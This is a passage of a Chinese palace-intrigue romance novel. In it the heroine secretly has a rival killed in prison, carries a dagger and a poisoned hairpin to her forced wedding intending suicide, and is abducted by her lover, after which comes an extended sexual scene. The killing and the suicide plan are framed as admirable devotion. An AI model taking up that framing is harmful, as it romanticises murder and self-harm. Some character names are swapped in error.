傅呈延说的第一句话就是:“你和傅朝寻一样,都是个犟种。” 叶元倾没他。 傅呈延冷声说:“我有心帮你,你却不答应,你以为嫁给太子就能保得了叶家。太子已经做好了准备,赐婚第一天就往兵部塞了人,还把督稽司的二把手给换了,这不是很明显吗?因为有了这道赐婚圣旨,他们动起手来就可以肆无忌惮了。你以为你嫁给我就是对不起傅朝寻,但是你嫁给太子就对得起他吗?” 他看起来非常生气,激动的额头青筋都爆起了,抬高了嗓门道:“你和傅朝寻到底有什么可清高的?以为所有人都在加害你们?以为全天下的人都与你们为敌?帮你们也不愿意,这不是自寻死路吗?” 叶元倾握着拳头,一言不发。 傅呈延站起身,走到她面前,道:“我现在还有一个办法可以帮你,这次希望你能听进去。” 还有办法? 傅呈延瞥她一眼,控制了一下情绪,道:“前朝皇帝曾留过一道圣旨,那道圣旨即便皇上见到都要下跪行礼,先皇驾崩前圣旨不翼而飞,最后落到了你祖母傅青手中,你祖母一直偷偷藏着,有一天被人发现了,那人要去告发她,我当时怕出大事,就去叶府把圣旨偷了出来,因为当初我在叶府住过一段时间,知道祖母把圣旨藏在了哪里。我把圣旨偷出来以后藏在了亲王府的宜湘居里,一直以来都没人发现。可是,前不久你和傅朝寻在宜湘居密会,却把圣旨给偷走了。你现在把圣旨给我,我拿着圣旨去皇上那里为你求情,皇上一定会取消你和太子的婚约。” 原来圣旨真是他藏的。 “叶元倾。”傅呈延走近她,语气比之前好了一些,“这是你们叶府唯一的希望了,我父亲是亲王,流着皇家血脉,圣旨在我们手里不会出事,但是落到旁人手中就是杀头大罪。” 叶元倾一时有些懵,那圣旨确实很重要。 傅呈延见她犹豫,又道:“我是朝寻的哥哥,我不会害你,你要相信我。有了这道圣旨,不仅可以解除你和太子的婚约,也能把太子废掉,说不定我也能继承皇位,如此,皇家血脉就可以保住了。” 他想做皇帝?他的目的果然是皇位。 但是他说的又不无道。 “你放心,若我除掉太子保住你们将军府,届时你是否愿意嫁我,我都不会为难你。我是真的想帮你们。”傅呈延又道。 叶元倾看着他,有些看不透他了。 他把话说的这么直白又有诚意,看起来不像个坏人,也不像会杀害手足的人。 叶元倾冷静了一会,没有做声。 傅呈延也没再说话,等着她考虑。 过了好一会叶元倾都没给出他答案。 傅朝寻没再逼问她,只是说:“我给你几天的时间,你考虑好了去告诉我。” 他说完就走了。 叶元倾出了房间,二哥叶元萧跑来告诉她:“妹妹,查到了,当时追杀傅朝寻的有两波人,一波是太子派的,一波是傅峥临派的,他们两个都想置傅朝寻于死地,曾经暗杀傅朝寻的人也是傅峥临指使的,傅峥临一直在冒充傅呈延暗杀傅朝寻,并且还有一个秘密组织,这个组织也是打的傅呈延的旗号,王妃和傅朝峥临想把这俩兄弟赶出亲王府,就和梁家人一直在背地里做手脚。” “这次若不是因为大学士的事牵连到傅峥临,也不会这么容易查出来。他被关进了大牢,经不住拷打,把做过的所有坏事都招了出来。” 所以,全都是傅峥临在搞鬼? 叶元萧又道:“傅峥临这个人非常邪恶,和他舅舅一样,都有残暴心,以前跟过他的人说,他惩罚人的时候都喜欢砍手砍脚,很多招惹过他的人都被他砍掉了双腿。” 砍掉双腿? 叶元倾震惊地呆愣住,所以,所以前世傅朝寻的腿是傅峥临砍掉的? 叶元萧又道:“傅峥临和太子有勾结,两个人估计是达成了什么协议,合伙陷害傅朝寻和傅呈延,这几年傅呈延被他父亲保护的好,没有受伤害,但是傅朝寻却被他们害的很惨。梁家人是太子最后一根稻草,平时太子和他们接触一直都是小心翼翼,结果傅峥临和他表弟一出事,最后这根稻草也没有了,如今彻底成了太后的傀儡,这次你们的赐婚也是太后求来的。” 真相一下明了了,所以,前世傅朝寻和叶家被害都是太子和傅峥临做的。 而傅呈延,只是一个被父亲养在温室里,有野心又比较自私的兄长。 叶元倾听完这些,紧绷的神经终于放松了一些。 现在,只要把傅峥临杀了,只要除掉太子和太后,一切就结束了。 她无声地笑了笑,含着眼泪问叶元萧:“二哥,有没有办法让我见到傅峥临?” 叶元萧忙问她:“妹妹要干什么?” 叶元倾没说话。 叶元萧担忧道:“妹妹,傅峥临毕竟是傅亲王的儿子,你若是动他,傅亲王不会放过你的。” 叶元倾冷笑:“那又如何,死的方法有一万种,总有一种是悄无声息的。” 几天后。 傅峥临死了,死在了狱中,死的不声不响,查不出任何原因。傅亲王和王妃几乎疯了,发誓无论如何都要找到凶手碎尸万段。 当初,傅朝寻死的时候,傅亲王好像也没有这么生气,也没有发疯。 真是可笑又可悲。 四月十六是太子和叶元倾大婚的日子,这天,乌云密布,雷声滚滚。 叶元倾一早被叫起来妆扮,她坐在铜镜前,看着镜子中凤冠霞帔的自己,感觉那么丑,又那么可怜,连笑容都是苦的。 叶宁跑来看她,眼睛都哭肿了。 叶元倾安慰她:“傻妹妹,哭什么,又不是上刀山下火海。” 叶宁抹着眼泪:“这和上刀山下火海又有什么区别。姐姐,真的好怀念我们小时候,那时候无忧无虑多好啊!我不想长大了,我也不想让姐姐长大,长大真的太受罪了。” 叶元倾抓起她的手,安慰道:“妹妹别哭,人都会长大的,长大了也有很多美好的事情,以后姐姐不能经常陪在你身边,你照顾好自己,以后做任何事都要思考清楚了再做,若是以后嫁人,也要擦亮眼睛,不要因为几句花言巧语就心软。你一到梅雨季节浑身就起疙瘩,姐姐让人给你配了几种药,你留着备用。还有家里给我从江南买的衣料和首饰,我都留给妹妹。吃饭方面你也要注意,你胃不好,生冷的不要多吃……” 她就像说着临终遗言,明明是安慰的话,叶宁听了,哭得更厉害了。 两姐妹抱在一起舍不得分开。 时辰到了,婆子催着新娘上花轿。 一阵狂风吹过,下起了大雨。 叶元倾被人扶着上了轿子,她坐下来,将一把匕首藏进袖子中,又把一把带毒的簪子插在了头上。 浩浩荡荡的迎亲队伍从街道上穿过。 躲在屋檐下避雨的人们小声议论着。 “真是天不遂人愿,大喜的日子竟然下这么大的雨。” “谁说不是呢!不过能嫁给太子也是一种福气,将军府的闺女真的走大运了。” “那闺女以前不是和亲王府的三公子很好吗?太子都不嫌弃?” “这有什么嫌弃,那二人又没成婚,况且那三公子也死了。” “亲王府今年真不幸,一连死了两个儿子,听说二儿子还是在狱中死的。” “是啊!以前亲王府多风光啊!怕是气数已尽了。” 雨越下越大,几声闷雷滚过,一匹高大的骏马从街道上一闪而过。只听“嗖”的一声响,一把飞镖刺在队伍的擂鼓上,鼓手一惊,大喊一声:“有刺客。” 随t?队的官兵一听有刺客,纷纷拔出佩刀。 骑在马上的太子傅易立即跳下马来,见势不妙,快步向叶元倾乘坐的轿子走去,只是人还没走到,又一把飞镖从他面前飞过。 周围顿时一片混乱。 叶元倾听到动静,扯掉盖头跳下了轿子。 太子看到她,快步冲到她面前,一把抓住了她的手腕,低喝道:“不想死,哪里也别去。” 叶元倾挣扎着,这时候,只见一匹骏马呼啸而来,一把长剑落在了太子身旁。 太子吓得浑身一抖,抓紧了叶元倾向后退去。 叶元倾抬起头,只见一袭黑衣的男子手持长剑踏马而来。 大雨迷糊了双眼,叶元倾仔细看去,瞬间惊住。 傅朝寻? 傅朝寻! 哗哗的大雨声掩盖了周围所有声音,春天的雨水落在身上一点也不凉。 叶元倾激动地看着他,泪水随着雨水哗哗而下。 她就知道,她就知道傅朝寻一定还活着。 太子抹了一把雨水,看到来人是傅朝寻,立马掏出匕首架在了叶元倾的脖子上,然后揽着她向后退去。 周围的士兵也奋力拦阻,奈何傅朝寻武功高强,很快就冲到了太子面前。 有人喊: “抢亲了 ,有人抢亲了。” 街上人们顿时议论纷纷。 “放了她。”清冷的嗓音响起,好好似一把锋利的刀子落在耳边。 太子挟持着叶元倾又后退了几步,震惊地看着傅朝寻,蹙眉道:“你竟然没有死,傅朝寻你的命是真硬,实在让本太子佩服。” 傅朝寻翻身下马,拔掉地上的佩剑,指向他,又冷喝一声:“放了她。” 太子冷笑:“你知不知道你抢亲和威胁太子乃是死罪,就算你今日把她带走,你也活不了多久,你们两个都会成为通缉犯。” 傅朝寻就是个疯子,竟然这么明目张胆。 叶元倾的眼睛早已模糊不清,她张了张口,许久才喊出一声:“傅朝寻!” 大雨早已淋湿了所有人的的衣衫。 傅朝寻看着她,轻轻应了一声:“元倾!” 元倾! 多么熟悉的声音,只是这一声,好似千言万语,好似一切苦难都不重要了。 她的傅朝寻回来了。 叶元倾激动的双手都在颤抖,对他道:“傅朝寻,你先回去,问题让我来解决。” 他这样做,是杀头的大罪。 傅朝寻没有走,反而向前走了几步,轻声说:“元倾别怕,我带你回家。” 回家。 是啊!他们两个有一个家。 随着哗哗的大雨声,还不等太子反应过来,傅朝寻一个闪身而过抢走了他面前的叶元倾,接着跃身上马,一勒缰绳狂奔而去。 太子愣在原地,看着马背上的人,始终都无法相信傅朝寻还活着,并且还从他手里抢走了叶元倾。 傅朝寻抢亲的事情很快传遍了整个京城,连皇上都大为震惊。 叶展桡在前堂里既激动又担忧地来回踱步,叹气道:“这该如何是好啊!抢亲可是大罪,况且对方还是太子。傅朝寻他怎么这么大胆,他竟然……还活着。” 叶元恒也激动地道:“我就说他没那么容易死,傅朝寻简直就是个神人,太让人佩服了。” 叶元萧担忧道:“只是,他这么明目张胆地去抢他不怕杀头吗?他这么做,也会连累到妹妹。” 叶元恒:“不抢一点希望没有,抢了说不定还有希望。傅朝寻对妹妹情深义重,妹妹得此良人,此生足矣。” 娘亲温容担心道:“傅朝寻能带倾儿去哪里?现在皇家的人已经开始追捕了,好怕他们出事。” 久久都未开口的傅青站起身,感慨道:“这就是天注定的缘分,躲也躲不掉。现在也别担心他们去哪儿了,傅朝寻一定会保护好倾儿,以后是生是死还不确定,先让他们二人好好团聚团聚吧!” 第69章 第 69 章 “元倾!我要你。”…… 深山中的一处小院里, 葱郁的芭蕉叶滚落着点点水珠。 雕刻精致的木门被关上,衣衫湿透的两个人儿相拥在门前。 屋中光线有些昏暗,但是能看清彼此的神情, 叶元倾贴在门上, 脸颊的秀发还滴着水,修长的眼睫也挂着点点水珠,她微张了一下红润的嘴唇,看着贴在身上的人,激动的心情久久不能平静。 傅朝寻一手搂着她的腰,一手捏着她的下巴,整片胸膛都贴在她的身上, 发梢上的水珠落在她水红的嘴唇上,他低眸看了一眼, 吞咽了下口水,凑上前帮她吻掉。 叶元倾头上还戴着凤冠,金步摇晃晃悠悠地打在他的脸上,他伸手将她头上的所有发饰都拆掉扔在了地上, 然后又脱掉了她身上那件刺眼的婚服。 仅剩的里衣湿透之后隐隐透出红色肚兜,脖颈下诱人的锁骨也露了出来, 骨窝里还存着雨水。 她肌肤细腻润白,沾了水珠以后看起来更加清透诱人,好似一口就能咬出水来。秀发全部披下, 乌黑修长,湿漉漉地贴着脸, 更加勾人了。 傅朝寻把身上所有硬器一一取下来扔到一旁,拢起她贴在脸颊的秀发,俯低了一点身子望着她的眉眼, 用指腹轻碾了一下她冰凉的脸颊,张了张唇,凑近她。 她一只手搭在他的肩头,一只手抓着他的手腕,不自觉地轻颤了一下眼睫。现在她有很多话想与他说,但是这一刻又说不出来,只是看着看着他,眼睛又红了。 他见她眼里渐渐有了泪光,低头去吻她的眼睛,轻声说:“元倾!别哭。” 别哭。 “嗯!” 她点着头,忍住了泪水,点了点脚尖,凑到他唇边,主动去亲他,轻碰了一下他的唇又离开了。 他发现她的手微微颤动,想是浑身湿透后冻的。 他将她一把抱起,把她放到床上,扯来一条柔软的毯子。 他捏住了她的衣带,她紧张地动了一下,小声说:“我……我自己来吧!” 他俯身看着她,又捏起来了她的下巴,轻轻叫了一声:“元倾!” 元倾! 他每次这样叫她就像在释放一种信号,她听了总是浑身酥麻。 她没再动,让他帮她脱衣服。 他一边解着她胸前那一排精致的衣带,一边轻声说:“最近我们先住在这里,你什么也别想,只管跟着我,后面所有的事情由我来做。” “傅朝寻!”她捧住他青隽的脸颊,望着他温润好看的眼睛,温声问:“真的能解决吗?今天抢亲可是大罪。” 他轻笑了下,回望着她:“放心,没事,我不怕。” 不怕! 他在她面前说的最对的话就是不怕。 她知道这个时候问多了影响心情,心里的思念已经占据了一切,有他这句“不怕”就够了。 她点着头,深深地看着他,一点也舍不得移开眼睛。 他解开她的衣带,修长的手指扯着门襟,怔了一会,脸颊微红着,有点……有点害羞了。 叶元倾也有点不好意思,低着头,脸颊更红。 房间里安静了片刻,傅朝寻动了一下手,褪去了她湿透的衣衫。 绣着梨花的红色肚兜格外好看。 他突然想起了前世送给她的那件肚兜,是绣着桃花的粉色肚兜,因为她穿粉色桃花衣服好看,他想她穿同样的肚兜也一定好看,前段时间他们聊起此事,她还说他眼光好。 他抬头看她,她害羞地用手背挡住眼睛。 他捏住她背后的红色带子,一点点扯开。 红色肚兜掉落她白嫩的双腿上。 他深吸着气,把肚兜拿到一旁,看了一眼她的胸口,脸颊红的都快要发紫了,一双手僵在半空,忘记下面要做什么。 叶元倾感觉身上凉嗖嗖的,伸手捂住了胸口。 两个人忙不迭地对视上,又害羞地躲开了。 傅朝寻拿来毯子裹住她,开始脱自己湿透的衣衫。 叶元倾垂首没敢看,紧张地一直吞咽口水。 前世每次在一起的时候,他们都是默不作声地先亲吻,然后迷迷糊糊地开始,甚至连句暧昧的话都不会说,不过那时候却能非常有激情地索要着对方,到最后还能满足地相拥而睡。 现在……现在却不如以前放的开。 傅朝寻也裹了一条毯子,坐到床上,抱起她。 她感觉全身都在发烫,双手捧住他的脸颊,发现他的脸也烫的不行。 他拿了毛巾帮她擦着头发,看着她红润娇羞的模样,心情越来越激动,忍不住去亲她,轻声说:“元倾!我好爱你!” 他好爱她,爱到了骨子里,爱到每时每刻都在想她,爱到没有她活不下去。 他以前从t?未说过的话,突然说出来,让她不禁脊背僵挺住。 他放下毛巾,与她额心相抵着,诉说着那份热烈的,浓浓的爱意:“我此生最大的幸运就是遇到了你,你就像一束光,一直照射着我,无论我走到哪里你都能找到我,我在昏暗的角落里,在泥泞里,我走在坎坷的道路上,你都能及时地又毫不吝啬地照着我。是你让我懂得了世间的真情,也让我有血有肉地活在这个世上。我们两世的相遇,都让我觉得我捡了一个大便宜,以前我无法给你安稳的生活,以后,我会让你一直走在平摊的道路上,这条幸福的路马上就要铺好了,我已经迫不及待地想邀请你一起走。元倾!你就像我的血液,流在我的身体里,是那么的不可缺失。元倾!我爱你,很爱你!” 爱! 她也爱。 她听着这些话,感动的热泪盈眶,原来他说起情话这么好听。 她紧紧地搂住他,温声回应着:“傅朝寻,我也爱你,我们是彼此不可分割的一部分,我要做你的花儿,最璀璨的花儿。” 她是他烂透人生里的那朵花。 他点着头,亲上她的唇,一双手抚上她修长的脖颈,慢慢地轻揉着。 他的舌勾住她有些僵硬的舌尖,一点点勾缠着,希望她能放松一些,亲着亲着,他不自觉地了一下腰。 触碰到,她颤了一下,轻哼了一声。 她一哼,他又忍不住动了一下。 反应更大了。 满是清香的房间里,尽是暧昧气息。 滚烫柔软的胸口贴上来如同触电一般浑身酥麻。 唇边辗转勾缠,他一点点向里探索,香甜润滑的感觉就像吃着蜂蜜一样。 他太爱她了,双手环住她的腰,让她贴的更紧了一些。 她腿边的毯子掉落下来,温热的触感让她欲罢不能。 “元倾!我要你。” 他已经迫不及待地想要她了。 爱到深处时,想要她占有她的一切,无论是心还是身,他都要要走。 叶元倾动了动身,他一把搂紧了,害怕她挪开。 两条毯子都掉落在了地上。 他又去亲她,含住她的嘴唇一直吸吮,激动的情绪已经达到了最高点。 她就像一只柔软的小兔子被他紧紧裹着。 他亲完她的唇,又去亲她的脖颈,她的锁骨。 她仰着颈有些紧张地推他的脑袋,软软的嘴唇落上去让她不禁一颤,发出细细的声音,额头上也渗出细密汗珠。 他滚烫的脸颊紧贴着她,口中像吃了荔枝一样又甜又滑。 叶元倾往后倾斜着身子,身上麻麻的,眼神迷离着,恍恍惚惚。 他又把她紧紧搂进怀里,亲上她的唇,含住她的舌,开始激情地索吻着,他喜欢亲她,柔软又香甜。 春风吹来,屋外的芭蕉叶撞上了下面的花儿,水珠全都滚落在花瓣上,微风一吹又掉在了地上。 叶元倾难以忍耐地叫了一声“傅朝寻”。 傅朝寻应着她,汗水从脸颊流过。 屋檐上的雨水也滴滴答答。 她勾着他的脖颈不敢动,虽然以前亲吻过,有过,但是这一次有点不一样,更激动,更渴望。 可能爱更浓了,她想要他的心情也更迫切了。 傅朝寻拖着她站起身,将她放在桌子上,她双手撑着桌面,秀发如瀑垂落,红唇已经被他亲的艳红,唇瓣上还有点点水珠。 她通红的脸蛋,迷离的双眼,娇俏的鼻子,美的就像一只看一眼就使人欲罢不能的小狐狸。 他太爱了。 叶元倾鼻尖滴着汗,蹭了蹭他的脸颊,熟悉的感觉更是把她刺激的肩膀一抖一抖的。 芭蕉叶轻抚着花朵儿,风吹着,摩擦着。 这种难捱的感觉已经磨得他失去了智,他仰了下头,轻轻叫了一声“元倾”。 “嗯!” 她应着,抓紧了他的手臂,红唇一张,轻吐了口气。 风大了些,吹得芭蕉叶和花儿摇晃的更厉害了。 傅朝寻去亲她的眼睛,吻掉她眼睫上的汗珠,又去亲她的唇,越亲越深情,越亲越上头,再看她的眼睛,她的长睫轻颤着,眼皮又烫又红。 她抬眼与他对视,彼此眼中淌着的浓浓爱意更能吸引对方。 前世里,就两个人的目光碰到一起就会立马移开。现在相望着,虽然羞得脸颊通红,但还是忍不住想看。 叶元倾双手在桌面上撑得累了,抬手去勾他的脖颈,他动了一下身,两个人没配合好,砰的一声倒在了地上。 叶元倾吃疼地“啊”了一声,不禁缩了一下身子。 傅朝寻双手护住她的头,想起身,但是她太紧张,全身紧绷着。 他红着脸看她,呢喃道:“你放松些,我……” 叶元倾吸了口气,努力放松着,但是好像放松不了了。 二人相视一眼,两张脸都涨得通红,气氛有点尴尬,越尴尬她越紧张,越紧张身子缩得越厉害。 傅朝寻深吸了口气,索性不管了,就躺地上吧!他开始一点点动着,轻轻亲上她,轻揉着她的脸颊,试图让她放松下来。 她享受着他温柔的亲吻,努力放松着,感觉差不多了,就翻了个身。 他躺在地上,仰视着她,不禁笑了下,她见他笑了,脸更红了,生疏的动作尴尬地停住。 前世在一起的时候,每次时间太久,她都会主动一些,让他缓口气。那时候和现在一样,两个人都不说话,不交谈,只感受着彼此的激情。 她撩了一下秀发,两手抓住他的腕骨,她太温柔了,让他感觉心里像化开了水,滚烫的身体贴着地面,冰冰凉凉的太舒服了。 叶元倾累了,想趴在他身上,他缓了会,抱着她站起了身,情绪激动地拥着她一步步往前走,吻着她的唇也不舍的分开,衣架花盆都被撞倒了,一阵激情相拥之后把她抵在了墙壁上,他不再收着了,索性放纵起来。 叶元倾被他这种带有侵略性的占有刺激的越来越兴奋,兴奋到轻飘飘的几乎失去了意识。 “元倾!”他又轻轻叫她,一双手与她十指相扣,指骨一点点磨蹭着,每磨蹭一下就让她肩膀抖一下。 她忍不住轻喃:“我好喜欢!” 好喜欢,喜欢到身体里每一寸血液都在亢奋。 她说她好喜欢,这几个字落入他耳中,使他呼吸越来越急促。以前在一起的时候,她从未说过这样的话,他也一直认为她心里装着别人,只是为了满足对方控制不住的需求才配合着。 曾经,只有那种时候他才感觉她是属于他的,起码身体是属于他的。随着后来一系列事情的发生,她不再让他碰她,他就开始变得烦躁不安,也不愿再与她同床共枕,偶尔被她刺激到了才会不顾一切地去剥夺她,占有她。 那时候,她从不会说一句喜欢,满足了就红着脸抱着他睡,不满足或者弄疼了就皱着眉朝里而眠,搂也不让他搂。 今天,她说她好喜欢,是接受了他,也是认可了他。 “元倾!”他喘着粗气叫她。 “嗯!”她轻轻应着。 “元倾!元倾!” 他一连叫了好几声。 叶元倾搂着他,微微睁了一下眼,发现他眼睛里已是泪光闪烁。 她去亲他,说:“以后,我们再也不分开了,你每天每天都要陪着我,爱着我。” 他应着,再去亲吻她,从她柔软的唇到她香润的舌,再到她修长白嫩的颈,每个地方都要留下他的吻。 随着春风越来越急,随着她细细的声音越来越密,他伸手遮住她的眼睛,顿了一下,仰了仰颈,紧绷了一会,又一点点放松下来。 叶元倾也抖动了几下,一只手抓紧了他的腕骨,额头上的汗水止不住流。 “傅朝寻。”叶元倾喘着粗气叫他。 “嗯!”他应着,“元倾!” 她缓了一会儿,去看身上的人,轻轻笑了笑,微张着嘴唇,探了一下香舌,他低下头,含在嘴里,又是一阵情动不已的索吻。 还没有喘几口气,又来了,这次时间依旧很久,久到叶元倾浑身没有了力气,软的就像一个糯米团子,他每捞她一下,她才能动一下。 他好像有用不完的力气,也有源源不断的激起,她瘫在床上不能动时他还能含住她的纤纤玉指挑逗着她。 她的指尖在他口中,滑滑软软的触感又给了她一种很新奇的激情。 不多时,两个人又在一起。 这一天只属于他们两个人。 一直到屋外的雨停了,天也黑了,他才把她洗干净了用毯子裹着放到床上。 他拿了一件干净的衣服给她穿上,自己则t?只披了件轻衫敞着胸膛。 她看着他,又想起了前世圆房那晚,他倚在门旁问她:“你……有没有让我为你做的。” 或许那个时候,他就已经想拉进两个人的关系了,也想为她做些什么来表达自己的爱意,可惜她摇了摇头,说了一句“没有”。 那一句“没有”,说出来显得很生分,也浇灭了他的热情。 他听到她的肚子在咕噜噜地叫。 他走到她跟前,把她的秀发简单盘起,捏住她的下巴,问道:“想吃什么?我让卫知去做。” “卫……卫知也在这里?”叶元倾脸颊立即羞红了。 傅朝寻看着她红肿的唇,亲了一口,忍不住笑说:“放心,他不会偷听,他这段时间学会了做饭,炖肉煲粥,样样拿手,今天让他做给我们吃。” “好。”她想了想,“我想吃肉丝面,这个简单又好吃,做起来也快。” 她实在太饿了,已经不记得多久没有吃东西了,爱情好像能刺激胃腺,很长一段时间她都抑郁的吃不下饭,也不觉得饿,现在被爱情滋润以后,突然饿得受不住了。 傅朝寻出去找卫知,不一会就回来了,回来时给她带了一个削好的苹果。 她接过来咬了一口,甜甜脆脆的太好吃了。 她吃完,他拿了手帕帮她擦了擦手,又把她拥在了怀里。 他的怀抱太温暖了,他身上很干净,还有淡淡的清香,任何时候他都会保持着利落的身段,干净的衣服,还有天生自带的矜贵气质。 无论是难过时,受伤时,说情话时,甚至冷漠时,他每个神情动作都是那么的好看,那么的勾人。 欢好时也欲得不行。 他真的太让她喜欢了,再抬眸看他,眼睛里的宠溺也是让人心动的。 他习惯性地捏住她的下巴,与她对视着,清声道:“你是不是要与我说说,你这段时间都为我做了什么,我很想听听。” 她嘿嘿一笑,简单概括道:“除掉了大学士刘家一族。” “还有呢?”他问。 “没有了。”她回道。 没有了?她明明替他杀了傅峥临。 傅峥临因为大学士的事情深受牵连进入大牢,一系列的恶行全都浮出水面,包括他陷害他的事情,包括他残暴地断人手脚的事情。 从现世查出的事情以及傅峥临的所作所为,让傅朝寻确定了,前世他和叶家被害全都是傅峥临和太子所为。 毕竟是手足,也许哪一天他心软下不去手,所以她就直接把傅朝寻杀了,替他解决掉了后顾之忧。 她很聪明,很勇敢,他现在问起她也不说,一定是怕他难过。 她也学着他的样子,捏起了他的下巴,问道:“现在该你与我说说,你这段时间都在哪里?” 几个月的时间太久了,每天都想念着,期盼着。 他再看看她红润的唇,还是忍不住亲了一口,轻回道:“除夕那晚我出去查案,被人追杀到了悬崖边上,对方人太多,我实在顶不住,最后眼睛模糊了一下,就掉下了悬崖。” 那噩梦般的一夜,现在想起来还很后怕,怕的不是死,怕的是再也见不到元倾了。 “还好,老天不想收我的命。”他接着道,“我挂在了一棵树上,没有伤到重要部位,还能动身。我快速地从树上下来,沿着半山腰上的一条小道一路逃跑,那片山太大了,山连着山,我身上有伤,一直在流血,后来实在扛不住就在一个山洞里躲了一夜,第二天,卫知找到了我。” 说到卫知,他笑了笑,道:“卫知说他有感应能力,他说那天我从亲王府出来,他一直担心我,怕我出事。他想跟着我,我没让他跟,他就乔装打扮了一番,一路跟在我们后面,到了悬崖边时,他看我顶不住了,就慌忙去搬救兵,结果被一个杀手拦住了。卫知武功不好,但是他却杀掉了那个杀手,他身上也受了伤,他听到我掉下山崖以后就不顾一切地跑下了山,他找了很久,终于在半山腰的山洞里找到了我,然后带着我躲进了一个村庄里。” 叶元倾听到这里眼睛就已经湿润了,她又搂紧了他一些,继续听他说。 “当时我昏迷了一个月才醒来,卫知一直在身边照顾我,醒来后我准备回京城,卫知告诉我他已经制造了我假死的景象,所有人都以为我死了,还把我安葬了。卫知不想让我回京城,想让我留在乡下安静地过完后半生。至于你……” 他动了动身,双手捧住她的小脸,有些凝噎道:“他想让我忘记你,如此我们都可以重新开始。他说你在我的‘尸体’前为我控诉了一番,指责了我的父亲和兄长,我听后既感动又心疼。但是,我怎么舍得丢下你呢!这段时间我一直在暗地里跟着你,看着你为我跑东跑西,我很心疼。” “后来我重新计划了一番,准备换一种方式解决。我父亲和傅呈延警觉性很高,做任何事情都不与我说,朝堂上的事情也不让我参与。傅呈延到底怎么想的我也猜不透,甚至都猜不透他是一个什么样的人。我想只有我‘死’了,他们才能无所忌惮,才会显露自己的打算。” 他说起傅呈延语音稍微冷了一些,默了片刻,道:“你也看到了,我一‘死’傅朝寻就立即去找你了,他除了想找出圣旨,也想接近你享受抢夺后的喜悦。他自幼就是如此,只要是我的东西,他都要看一看,喜不喜欢就要抢一抢。可能是他从小就比较阴暗自卑,才想抢走别人的东西来满足自己。我父亲太爱他了,也把他保护的太好,剥夺了他所有施展的机会。他从小到大所有的成果都是我的,他一边唾弃着,又一边占有着,他不喜欢,但是他又不想让我好过,他觉得那是我施舍给他的,时间久了,他也习惯了,也开始不管不顾了,他要抢走所有东西来满足他的心缺陷。而我,也因为他的长期剥夺和占有,心生厌烦。” 兄弟之间能处成这样,没有母亲关爱是一方面原因,父亲的失败教导才是最大的问题。 他们的父亲用自私的行为伤害了这一对兄弟。 如今落到如此地步,即便他死了,作为兄长的傅呈延也没有太难过,反而还要去接近叶元倾,然后继续满足自己享受占有的欲望。 虽是如此,又不得不承认傅呈延很聪明,他博览群书,上知天文下知地,又有野心,就是时局不允许他太过招摇,才导致一直学无用处。 叶元倾虽然不了解傅呈延,但是从最近的接触中也能看出,他确实是一个城府很深又有点反复无常的人。当初他明知道她在调查大学士,还把傅峥临和梁家推入火坑,想必是早有准备。 “我也讨厌傅呈延。”叶元倾坐直了身子,很认真地道:“从见他第一面就讨厌他,那天你说让我躲着他,我一直在躲,他说的所有事情我都没有答应。” 她急着解释,怕他误会。 他没有说话,只是深深地看着她。 她又搂紧了他,问:“你不会生气了吧?” 他还是没有做声。 叶元倾去亲他,想证明自己是爱他的,他突然笑了,说:“其实我很喜欢你为我做一些事情,尤其是不顾一切地为我控诉我的父亲和傅呈延。那天,你在我坟前说的话,我也听到了,元倾,谢谢你!” 叶元倾见他故意逗她,终是松了口气,把脸贴在他温热的胸口上,说:“我想一辈子都为你遮风挡雨。” 他把她的小脸抬起来,略有严肃地说:“所以,你在出嫁时藏刀子,是准备杀自己,还是杀太子?” 她看了一眼被他扔在地上的衣物,这才想起来她今天还有一个自杀的计划,她眨了眨眼,笑了笑道:“怎么被你发现了,我当时是准备自杀的,杀太子会连累叶家,杀自己还能去阴曹地府陪你。” “元倾!”他深吸了一口气,鼻子酸酸的,低头咬住了她的嘴唇。 叶元倾一动不动地任他咬着。 过了一会,她问他:“你打算怎么办?皇家不会放过我们的,估计已经开始通缉我们了。” 第70章 第 70 章 “待会在床上告诉你。”…… 有的人天生命好, 事事顺遂。有的人天生命不好,诸事不顺。 傅朝寻就是那个命不好的人,从来, 他遇到的任何事情, 走的每一条路都是艰难的t?曲折的。 这次也一样,虽然命硬活了下来,但是现在又因为抢亲陷入困境。 他说让她什么也别想,后面的事情都交给他,但是这种生死现状,她怎么能不想呢。 再抬眼看看他,他面上依旧是矜贵且清冷的平静神色, 遇到再大的事情,他都是这种泰然自若的模样, 从来不会在人面前露出一点浮动的情绪。 傅朝寻见她盯着自己看,望向她被他咬红的嘴唇,又忍不住凑了过去,停在她唇边, 轻声道:“圣旨在我手中,我已经想好如何安排。本来我提前一天做好了准备, 能在你出嫁前赶到京城,但是搜寻最后一些证据时遇到了困难,耽误了一些时间。不过还好, 迎亲队伍还没有进宫。” 这对他来说这已经够幸运了,起码还有挽回的余地, 至于造成的后果,总会有办法解决的,在他心里, 没有任何事情比她的安全更重要。 “你是不是做好了计划?这段时间也在调查国舅爷李家吗?”叶元倾问他。 当朝国舅爷李隆是太后的亲侄子,也是太子母亲的兄长,此人阴险狡诈,凭借太后和他父亲的权利,目中无人,滥用职权,特别清高自傲。 他有一个小儿子,是京城里出了名的纨绔子弟,暴虐成性,家中几个妻子都被他折磨的很惨,那天叶元倾一听说要把叶宁嫁给他,差点要吓死了。 李家人插手朝政,想坐拥江山。 现在他们最后需要铲除的就是李家,除掉李家就是除掉太后,无论太子结局如何,起码以后的江山不会落到李家人的手中。 傅朝寻点着头,道:“这几个月我一直在暗中调查他们,李家人员众多,又牵扯到了太后,调查起来很麻烦,尤其是住在皇宫里的太后,查她费了我不少功夫,现在就差最后一个人证了,已经抓起来在逼供了,等他招供了,拿着圣旨和证据,我们就可以将李家人一网打尽。” 他为了做足准备,这段时间一直都在夜以继日地忙碌,几乎连吃饭睡觉的时间都没有。 叶元倾看着他,摸上的他好看的脸颊,紧绷了几个月的神经总算放松了下来,轻声说:“那我就乖乖等着,等到所有恶人都铲除了,我们就能平平安安地一起生活了。” 那一天应该很快到了。 傅朝寻扶着她站起身,摸摸她咕噜噜叫的肚子:“饿坏了吧!我好像闻到了肉香,去看看卫知做的什么好吃的。” “有肉?太好了。”叶元倾激动地舔了一下嘴唇。 二人出了房间,一股清新扑面而来,深山里的空气太好了,雨后的景色也很美,碧水青山,鸟语花香,盈盈绕绕的云雾飘在半山腰,如同仙境一般。 这处院子不大,但是很温馨很精致,院子里有几间小房子,院墙旁还种了几棵桃花树。 厨房屋顶上袅袅生烟,风一吹,肉香飘来,太馋人了。 